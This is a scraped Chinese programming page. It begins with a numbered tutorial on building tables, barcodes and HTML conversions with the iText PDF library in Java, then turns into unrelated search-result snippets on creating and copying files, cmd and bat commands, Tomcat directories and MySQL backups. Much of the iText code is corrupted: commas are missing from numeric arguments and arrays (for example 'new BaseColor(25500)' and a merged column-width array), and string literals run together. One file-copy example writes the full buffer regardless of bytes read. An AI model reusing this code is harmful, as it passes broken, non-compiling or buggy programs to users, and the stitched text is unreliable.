    24. //宽度50% 居中  
    25. table.setHorizontalAlignment(Element.ALIGN_CENTER);  
    26. document.add(table);  
    27. document.add(new Paragraph("\n\n"));  
    28.   
    29. //宽度50% 居右  
    30. table.setWidthPercentage(50);  
    31. table.setHorizontalAlignment(Element.ALIGN_RIGHT);  
    32. document.add(table);  
    33. document.add(new Paragraph("\n\n"));  
    34.   
    35. //固定宽度  
    36. table.setTotalWidth(300);  
    37. table.setLockedWidth(true);  
    38. document.add(table);  


    24、设置表格前后间隔 
    Java代码  收藏代码
    1. PdfPTable table = new PdfPTable(3);  
    2. PdfPCell cell = new PdfPCell(new Paragraph("合并3个单元格",fontZH));  
    3. cell.setColspan(3);  
    4. table.addCell(cell);  
    5. table.addCell("1.1");  
    6. table.addCell("2.1");  
    7. table.addCell("3.1");  
    8. table.addCell("1.2");  
    9. table.addCell("2.2");  
    10. table.addCell("3.2");  
    11.   
    12. cell = new PdfPCell(new Paragraph("红色边框",fontZH));  
    13. cell.setBorderColor(new BaseColor(25500));  
    14. table.addCell(cell);  
    15.   
    16. cell = new PdfPCell(new Paragraph("合并单2个元格",fontZH));  
    17. cell.setColspan(2);  
    18. cell.setBackgroundColor(new BaseColor(0xC00xC00xC0));  
    19. table.addCell(cell);  
    20.   
    21. table.setWidthPercentage(50);  
    22.   
    23. document.add(new Paragraph("追加2个表格",fontZH));  
    24. document.add(table);  
    25. document.add(table);  
    26.   
    27. document.newPage();  
    28. document.add(new Paragraph("使用'SpacingBefore'和'setSpacingAfter'",fontZH));  
    29. table.setSpacingBefore(15f);  
    30. document.add(table);  
    31. document.add(table);  
    32. document.add(new Paragraph("这里没有间隔",fontZH));  
    33. table.setSpacingAfter(15f);  


    25、设置单元格宽度 
    Java代码  收藏代码
    1. //按比例设置单元格宽度  
    2. float[] widths = {0.1f, 0.1f, 0.05f, 0.75f};  
    3. PdfPTable table = new PdfPTable(widths);  
    4. table.addCell("10%");  
    5. table.addCell("10%");  
    6. table.addCell("5%");  
    7. table.addCell("75%");  
    8. table.addCell("aa");  
    9. table.addCell("aa");  
    10. table.addCell("a");  
    11. table.addCell("aaaaaaaaaaaaaaa");  
    12. table.addCell("bb");  
    13. table.addCell("bb");  
    14. table.addCell("b");  
    15. table.addCell("bbbbbbbbbbbbbbb");  
    16. table.addCell("cc");  
    17. table.addCell("cc");  
    18. table.addCell("c");  
    19. table.addCell("ccccccccccccccc");  
    20. document.add(table);  
    21. document.add(new Paragraph("\n\n"));  
    22.   
    23. //调整比例  
    24. widths[0] = 20f;  
    25. widths[1] = 20f;  
    26. widths[2] = 10f;  
    27. widths[3] = 50f;  
    28. table.setWidths(widths);  
    29. document.add(table);  
    30.   
    31. //按绝对值设置单元格宽度  
    32. widths[0] = 40f;  
    33. widths[1] = 40f;  
    34. widths[2] = 20f;  
    35. widths[3] = 300f;  
    36. Rectangle r = new Rectangle(PageSize.A4.getRight(72), PageSize.A4.getTop(72));  
    37. table.setWidthPercentage(widths, r);  
    38. document.add(new Paragraph("\n\n"));  
    39. document.add(table);  


    26、设置单元格高度 
    Java代码  收藏代码
    1. PdfPTable table = new PdfPTable(2);  
    2.   
    3. PdfPCell cell;  
    4.   
    5. //折行  
    6. table.addCell(new PdfPCell(new Paragraph("折行", fontZH)));  
    7. cell = new PdfPCell(new Paragraph("blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah"));  
    8. cell.setNoWrap(false);  
    9. table.addCell(cell);  
    10.   
    11. //不折行  
    12. table.addCell(new PdfPCell(new Paragraph("不折行", fontZH)));  
    13. cell.setNoWrap(true);  
    14. table.addCell(cell);  
    15.   
    16. //设置高度  
    17. table.addCell(new PdfPCell(new Paragraph("任意高度",fontZH)));  
    18. cell = new PdfPCell(new Paragraph("1. blah blah\n2. blah blah blah\n3. blah blah\n4. blah blah blah\n5. blah blah\n6. blah blah blah\n7. blah blah\n8. blah blah blah"));  
    19. table.addCell(cell);  
    20.   
    21. //固定高度  
    22. table.addCell(new PdfPCell(new Paragraph("固定高度",fontZH)));  
    23. cell.setFixedHeight(50f);  
    24. table.addCell(cell);  
    25.   
    26. //最小高度  
    27. table.addCell(new PdfPCell(new Paragraph("最小高度",fontZH)));  
    28. cell = new PdfPCell(new Paragraph("最小高度:50",fontZH));  
    29. cell.setMinimumHeight(50f);  
    30. table.addCell(cell);  
    31.   
    32. //最后一行拉长到page底部  
    33. table.setExtendLastRow(true);  
    34. table.addCell(new PdfPCell(new Paragraph("拉长最后一行",fontZH)));  
    35. cell = new PdfPCell(new Paragraph("最后一行拉长到page底部",fontZH));  
    36. table.addCell(cell);  
    37.   
    38. document.add(table);  


    27、设置单元格颜色 
    Java代码  收藏代码
    1. PdfPTable table = new PdfPTable(4);  
    2. PdfPCell cell;  
    3. cell = new PdfPCell(new Paragraph("颜色测试",fontZH));  
    4. table.addCell(cell);  
    5.   
    6. //红色背景,无边框  
    7. cell = new PdfPCell(new Paragraph("红色背景,无边框",fontZH));  
    8. cell.setBorder(Rectangle.NO_BORDER);  
    9. cell.setBackgroundColor(BaseColor.RED);  
    10. table.addCell(cell);  
    11.   
    12. //绿色背景,下边框  
    13. cell = new PdfPCell(new Paragraph("绿色背景,下边框",fontZH));  
    14. cell.setBorder(Rectangle.BOTTOM);  
    15. cell.setBorderColorBottom(BaseColor.MAGENTA);  
    16. cell.setBorderWidthBottom(5f);  
    17. cell.setBackgroundColor(BaseColor.GREEN);  
    18. table.addCell(cell);  
    19.   
    20. //蓝色背景,上边框  
    21. cell = new PdfPCell(new Paragraph("蓝色背景,上边框",fontZH));  
    22. cell.setBorder(Rectangle.TOP);  
    23. cell.setUseBorderPadding(true);  
    24. cell.setBorderWidthTop(5f);  
    25. cell.setBorderColorTop(BaseColor.CYAN);  
    26. cell.setBackgroundColor(BaseColor.BLUE);  
    27. table.addCell(cell);  
    28.   
    29. cell = new PdfPCell(new Paragraph("背景灰色度",fontZH));  
    30. table.addCell(cell);  
    31. cell = new PdfPCell(new Paragraph("0.25"));  
    32. cell.setBorder(Rectangle.NO_BORDER);  
    33. cell.setGrayFill(0.25f);  
    34. table.addCell(cell);  
    35. cell = new PdfPCell(new Paragraph("0.5"));  
    36. cell.setBorder(Rectangle.NO_BORDER);  
    37. cell.setGrayFill(0.5f);  
    38. table.addCell(cell);  
    39. cell = new PdfPCell(new Paragraph("0.75"));  
    40. cell.setBorder(Rectangle.NO_BORDER);  
    41. cell.setGrayFill(0.75f);  
    42. table.addCell(cell);  
    43.   
    44. document.add(table);  


    28、插入图像 
    Java代码  收藏代码
    1. Image image = Image.getInstance("resource/test2.jpg");  
    2. float[] widths = { 1f, 4f };  
    3.   
    4. PdfPTable table = new PdfPTable(widths);  
    5.   
    6. //插入图片  
    7. table.addCell(new PdfPCell(new Paragraph("图片测试", fontZH)));  
    8. table.addCell(image);  
    9.   
    10. //调整图片大小  
    11. table.addCell("This two");  
    12. table.addCell(new PdfPCell(image, true));  
    13.   
    14. //不调整  
    15. table.addCell("This three");  
    16. table.addCell(new PdfPCell(image, false));  
    17. document.add(table);  


    29、设置表头 
    Java代码  收藏代码
    1. String[] bogusData = { "M0065920""SL""FR86000P""PCGOLD",  
    2.         "119000""96 06""2001-08-13""4350""6011648299",  
    3.         "FLFLMTGP""153""119000.00" };  
    4. int NumColumns = 12;  
    5. // 12  
    6. PdfPTable datatable = new PdfPTable(NumColumns);  
    7. int headerwidths[] = { 9481081197910410 }; // percentage  
    8. datatable.setWidths(headerwidths);  
    9. datatable.setWidthPercentage(100);  
    10. datatable.getDefaultCell().setPadding(3);  
    11. datatable.getDefaultCell().setBorderWidth(2);  
    12. datatable.getDefaultCell().setHorizontalAlignment(Element.ALIGN_CENTER);  
    13.   
    14. datatable.addCell("Clock #");  
    15. datatable.addCell("Trans Type");  
    16. datatable.addCell("Cusip");  
    17. datatable.addCell("Long Name");  
    18. datatable.addCell("Quantity");  
    19. datatable.addCell("Fraction Price");  
    20. datatable.addCell("Settle Date");  
    21. datatable.addCell("Portfolio");  
    22. datatable.addCell("ADP Number");  
    23. datatable.addCell("Account ID");  
    24. datatable.addCell("Reg Rep ID");  
    25. datatable.addCell("Amt To Go ");  
    26.   
    27. datatable.setHeaderRows(1);  
    28.   
    29. //边框  
    30. datatable.getDefaultCell().setBorderWidth(1);  
    31.   
    32. //背景色  
    33. for (int i = 1; i < 1000; i++) {  
    34.     for (int x = 0; x < NumColumns; x++) {  
    35.         datatable.addCell(bogusData[x]);  
    36.     }  
    37. }  
    38.   
    39. document.add(datatable);  


    30、分割表格 
    Java代码  收藏代码
    1. //横向分割  
    2. PdfContentByte cb = writer.getDirectContent();  
    3. PdfPTable table = new PdfPTable(10);  
    4. for (int k = 1; k <= 100; ++k) {  
    5.     table.addCell("The number " + k);  
    6. }  
    7. table.setTotalWidth(400);  
    8.   
    9. table.writeSelectedRows(050, -15700, cb);  
    10. table.writeSelectedRows(5, -10, -1210700, cb);  


    31、设置单元格留白 
    Java代码  收藏代码
    1. PdfPTable table = new PdfPTable(2);  
    2. PdfPCell cell;  
    3. Paragraph p = new Paragraph("Quick brown fox jumps over the lazy dog. Quick brown fox jumps over the lazy dog.");  
    4. table.addCell(new PdfPCell(new Paragraph("默认",fontZH)));  
    5. table.addCell(p);  
    6. table.addCell(new PdfPCell(new Paragraph("Padding:10",fontZH)));  
    7. cell = new PdfPCell(p);  
    8. cell.setPadding(10f);  
    9. table.addCell(cell);  
    10. table.addCell(new PdfPCell(new Paragraph("Padding:0",fontZH)));  
    11. cell = new PdfPCell(p);  
    12. cell.setPadding(0f);  
    13. table.addCell(cell);  
    14. table.addCell(new PdfPCell(new Paragraph("上Padding:0 左Padding:20",fontZH)));  
    15. cell = new PdfPCell(p);  
    16. cell.setPaddingTop(0f);  
    17. cell.setPaddingLeft(20f);  
    18. table.addCell(cell);  
    19. document.add(table);  
    20.   
    21. document.newPage();  
    22. table = new PdfPTable(2);  
    23. table.addCell(new PdfPCell(new Paragraph("没有Leading",fontZH)));  
    24. table.getDefaultCell().setLeading(0f, 0f);  
    25. table.addCell("blah blah\nblah blah blah\nblah blah\nblah blah blah\nblah blah\nblah blah blah\nblah blah\nblah blah blah\n");  
    26. table.getDefaultCell().setLeading(14f, 0f);  
    27. table.addCell(new PdfPCell(new Paragraph("固定Leading:14pt",fontZH)));  
    28. table.addCell("blah blah\nblah blah blah\nblah blah\nblah blah blah\nblah blah\nblah blah blah\nblah blah\nblah blah blah\n");  
    29. table.addCell(new PdfPCell(new Paragraph("相对于字体",fontZH)));  
    30. table.getDefaultCell().setLeading(0f, 1.0f);  
    31. table.addCell("blah blah\nblah blah blah\nblah blah\nblah blah blah\nblah blah\nblah blah blah\nblah blah\nblah blah blah\n");  
    32. document.add(table);  


    32、设置单元格边框 
    Java代码  收藏代码
    1. //没有边框  
    2. PdfPTable table1 = new PdfPTable(3);    
    3. table1.getDefaultCell().setBorder(PdfPCell.NO_BORDER);    
    4. table1.addCell(new Paragraph("Cell 1"));   
    5. table1.addCell(new Paragraph("Cell 2"));   
    6. table1.addCell(new Paragraph("Cell 3"));   
    7. document.add(table1);  
    8.   
    9. //边框粗细颜色  
    10. document.newPage();  
    11. Rectangle b1 = new Rectangle(0f, 0f);  
    12. b1.setBorderWidthLeft(6f);  
    13. b1.setBorderWidthBottom(5f);  
    14. b1.setBorderWidthRight(4f);  
    15. b1.setBorderWidthTop(2f);  
    16. b1.setBorderColorLeft(BaseColor.RED);  
    17. b1.setBorderColorBottom(BaseColor.ORANGE);  
    18. b1.setBorderColorRight(BaseColor.YELLOW);  
    19. b1.setBorderColorTop(BaseColor.GREEN);  
    20. PdfPTable table2 = new PdfPTable(1);  
    21. PdfPCell cell =  new PdfPCell(new Paragraph("Cell 1"));  
    22. cell.cloneNonPositionParameters(b1);  
    23. table2.addCell(cell);  
    24. document.add(table2);  


    33、PdfPTableEvent 

    34、PdfPCellEvent 

    35、PdfPageEventHelper 

    36、生成Barcode QRCode
     
    Java代码  收藏代码
    1. String myString = "http://www.google.com";  
    2.   
    3. Barcode128 code128 = new Barcode128();  
    4. code128.setCode(myString.trim());  
    5. code128.setCodeType(Barcode128.CODE128);  
    6. Image code128Image = code128.createImageWithBarcode(cb, nullnull);  
    7. code128Image.setAbsolutePosition(10,700);  
    8. code128Image.scalePercent(125);  
    9. doc.add(code128Image);  
    10.   
    11. BarcodeQRCode qrcode = new BarcodeQRCode(myString.trim(), 11null);  
    12. Image qrcodeImage = qrcode.getImage();  
    13. qrcodeImage.setAbsolutePosition(10,600);  
    14. qrcodeImage.scalePercent(200);  
    15. doc.add(qrcodeImage);  

     

    37、HTML to PDF 
    Java代码  收藏代码
    1. Document document = new Document(PageSize.LETTER);  
    2. PdfWriter.getInstance(document, new FileOutputStream("c://testpdf1.pdf"));  
    3. document.open();  
    4. HTMLWorker htmlWorker = new HTMLWorker(document);  
    5. htmlWorker.parse(new StringReader("<h1>This is a test!</h1>"));  
    6. document.close();  

     

    展开全文
  • // 在D盘中创建文件test.txt,文件中的内容:“hello Java” File file = new File("D:/test.txt"); StringBuilder builder = new StringBuilder(); builder.append("hello java"); OutputStreamWriter osw = ...
    // 在D盘中创建文件test.txt,文件中的内容为:“hello Java”
    File file = new File("D:/test.txt");
    StringBuilder builder = new StringBuilder();
    builder.append("hello java");
    OutputStreamWriter osw = null;
    try {
    osw = new FileWriter(file);
    osw.write(builder.toString());
    } catch (IOException e) {
    e.printStackTrace();
    } finally { // 最后一定要关闭流
    if (osw != null) {
    try {
    osw.close();
    } catch (IOException e) {
    e.printStackTrace();
    }
    }
    }
    // 利用流把该文件拷贝到E盘根目录下
    InputStream ips = null;
    OutputStream ops = null;
    try {
    ips = new FileInputStream(file);// 源文件
    byte[] buffer = new byte[1024]; // 定义一个缓冲数组
    ops = new FileOutputStream("E:/" + file.getName());// 目标文件
    // 如果没有读到结尾就继续读,每次读指定的字节数
    for (int len = 0; (len = ips.read(buffer)) != -1;) {
    ops.write(buffer, 0, len); // 每次写出实际读取到长度
    }
    } catch (FileNotFoundException e) {
    e.printStackTrace();
    } catch (IOException e) {
    e.printStackTrace();
    } finally { // 最后关闭流
    if (ips != null) {
    try {
    ips.close();
    } catch (IOException e) {
    e.printStackTrace();
    }
    }
    if (ops != null) {
    try {
    ops.close();
    } catch (IOException e) {
    e.printStackTrace();
    }
    }
    }
    

    简单来写:

    import java.io.FileInputStream;
    import java.io.FileNotFoundException;
    import java.io.FileOutputStream;
    import java.io.FileWriter;
    import java.io.IOException;
     
     
    public class Change {
    	public static void main(String[] args) throws IOException {
    		FileWriter fw = new FileWriter("D:/tets.txt");
    		fw.write("hello java");
    		fw.close();
    		FileInputStream fis = new FileInputStream("d:/tets.txt");
    		FileOutputStream  fos  = new FileOutputStream("E:/tets.txt");
    		byte[] b = new byte[1024];
    		while(fis.read(b)!=-1)
    		{
    			fos.write(b);
    		}
    		fos.close();
    		fis.close();
    		
    	}
    }
    
    
    展开全文
  • touch /dzqc/123.txt dzqc目录下创建一个123.txt touch 1.txt 当前路径下创建1.txt文件
  • * 电脑D下创建一个文件HelloWorld.txt文件,判断他是文件还是目录在创建一个目 * 录IOTest,之后将HelloWorld.txt移动到IOTest目录下去;之后遍历IOTest这个目录下的文 * 件 */ class IO1 { public ...
  • 现象:win7、win8系统无法磁盘根目录下创建文件,但是可以新建文件夹(给用户加了写的权限也无效果) 解决办法:用管理员运行cmd 输入 icacls X:\ /setintegritylevel M X盘符
  • 扩展名为bat的文件的创建

    千次阅读 2018-06-26 17:54:24
    一、了解bat文件前要了解DOS命令,DOS命令:计算机术语,是指DOS操作系统的命令,是一种面向磁盘的操作命令,主要包括目录操作类命令、磁盘操作类命令、文件操作类命令和其它命令。而bat文件就是把一系列的DOS...
  • 建立虚拟软盘

    千次阅读 2017-03-17 21:09:32
    1、在D盘根目录下建立名为“虚拟软盘”的文件夹。 2、“虚拟软盘”文件夹中,分别建立名为“加载虚拟软盘”和“删除虚拟软盘”的txt文本文档。 3、用记事本打开名为“加载虚拟软盘”的txt文本文档,文档中...
  • tomcat 建立虚拟目录

    2016-10-13 10:38:23
    ,首先需要创建你想要映射的文件夹,我的是d盘根目录的photo文件夹d:photo。这个photo文件夹中最好添加一个名为WEB-INFO的文件夹,里面放一个web.xml文件。可以直接复制Tomcat 安装文件夹的webapp
  • 利用java代码在D下创建一个mytemp文件夹 显示D所有的.Java文件,包括D盘的子文件夹的.java文件 把上述显示的文件都复制到mytemp文件夹中 private static void work12() throws IOException { /** *...
  • CMD 下面可以帮助 help 或某个命令 /? MKDIR 缩写 MD 创建 ;...d:\A..\ 按照DOS命令的语法规则,在D盘根目录下建立名为“A..\” 的文件夹。(但是Windows中显示出来的文件夹的名是“A.”少了一个点)。...
  • 比如我64位win10系统,用Virtualbox安装了Ubuntu 16.04虚拟机,那么我一般都会将win10系统的一些目录映射到Ubuntu里面去。以前,我都是通过将共享目录的信息写入到/etc/fstab文件中来实现自动挂载(关于这一点...
  • 第八讲:目录操作

    2013-01-11 16:36:18
    关于目录的操作的三个基本命令有:md,ren,rdmd 创建目录。...rem 在d盘根目录下创建test目录 md d:\test   使用md创建多个目录的简写方法: @echo off rem 当前目录下创建三个目录aa,bb,cc md aa bb ...
  • VC6读取EXCEL文件中的单元格数据

    热门讨论 2009-12-06 12:35:27
    使用说明:请先在D盘根目录下建立名为Book1.xls的Excel文件,文件的A1,B1单元格填入任意字符串;点击Button1按钮可读取此EXCEL文件中的A1,B1单元格显示EDIT控件中。扩展功能可根据源码作修改。本代码实现简单功能...
  • 2、CD :进入指定目录 格式:CD [路径] ,其中“CD\”为返回到根目录,“CD..”为返回到上一层目录。 3、MD :建立目录 ...举例1:COPY C:\*.COM D:\,表示将C盘根目录下所有扩展名为COM的文件拷贝到D盘根目录中。
  • 假如,我想我的 D 的名字叫[ python虚拟环境 ]目录下的 [ python_virtualenv ]目录下创建一个叫做[ ai ]的虚拟环境 1.win+r 打开cmd 窗口 命令 d:进入D盘根目录 2. mkdir python虚拟环境 创建目录 3. cd python...
  • package com; import java.io.File; public class AllText {  public void getAllFiles() ... File file = new File("D:/");  if(file.isDirectory())  {  File[] files = file.listFiles();
  • 首先保证你有权限:运行应用程序、建立目录这里要说的不是API,是WScript.Shell对象。创建文件及目录的快捷方式的源码如下: 创建模块并粘贴以下代码:Option Explicit参数:快捷方式名称[.LNK];快捷方式图标所在...
  • 如何:IIS 中创建和配置虚拟目录

    千次阅读 2014-08-12 13:02:35
    如何:IIS 中创建和配置虚拟目录 此页面仅适用于  Microsoft Visual Studio 2005/.NET Framework 2.0 ASP.NET 配置 如何: IIS 中创建和配置虚拟目录 使用 Intern
  • 在d:盘根目录下面存放备份数据库,备份数据库名字backup20070713.sql(20070713.sql备份日期) 备份数据库: mysqldump -uroot -p123456 database_name>d:/backup20070713.sql 恢复数据库: 删除原有数据库,建立...
  • 创建一个目录info,并在目录创建一个文件test.txt,把该文件的信息读取出来,并显示出来*/#import <Foundation/Foundation.h>#define PATH @"/Users/qianfeng/Desktop/hehe/info"#define PATH1 @"/Users/...
  • 编写批处理文件(扩展名为.bat)

    千次阅读 2015-12-05 17:12:40
    编写批处理文件(扩展名为.bat) 批措置的介绍 扩展名是bat(Windows NT/2000/xp/2003/win 7也可所以cmd)的文件就是批措置文件。 首先批措置文件是一个文本文件,这个文件的每一行都是一条DOS呼吁(年夜部门时辰就...
  • cmd命令 从C盘转到D

    万次阅读 2013-05-15 19:28:39
    点开始 点运行。输入 CMD 回车。...cd\ 就进入D盘根目录。 如果 C盘根目录下输入 cd windows 回车。表示进入C盘WINDOWS文件夹。注意 CD 与WINDOWS之间有一个至少一个空格 然后,输入 dir 回车 可以
  • 1.使用sql创建数据库题目:创建一个名为“book”的用户数据库,其主文件大小为120MB,初始大小为55MB,文件增长率为10%,日志文件为30MB,初始大小为12MB,文件增长增量为3MB,其中文件均存储在D盘根目录下。...
  • 1. 下载Tomcat5.5(这里使用Tomcat5.5),下载网址:http://tomcat.apache.org/download-55.cai 下载下来的文件apache-tomcat-5.5.20.zip. ...4. 在D盘根目录下创建该文件夹的一个副本,更名:tomcat
  • Apache: Apache的安装很简单,我就直接把他装到了D盘根目录下(我C盘是系统盘,D盘是temp盘 ),安装完后我的apache目录就是D:\Apache2。 (二)PHP:   直接解压缩放到D盘PHP5目录下了,这样查找文件会方便许多...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 11,850
精华内容 4,740
关键字:

在d盘根目录下建立名为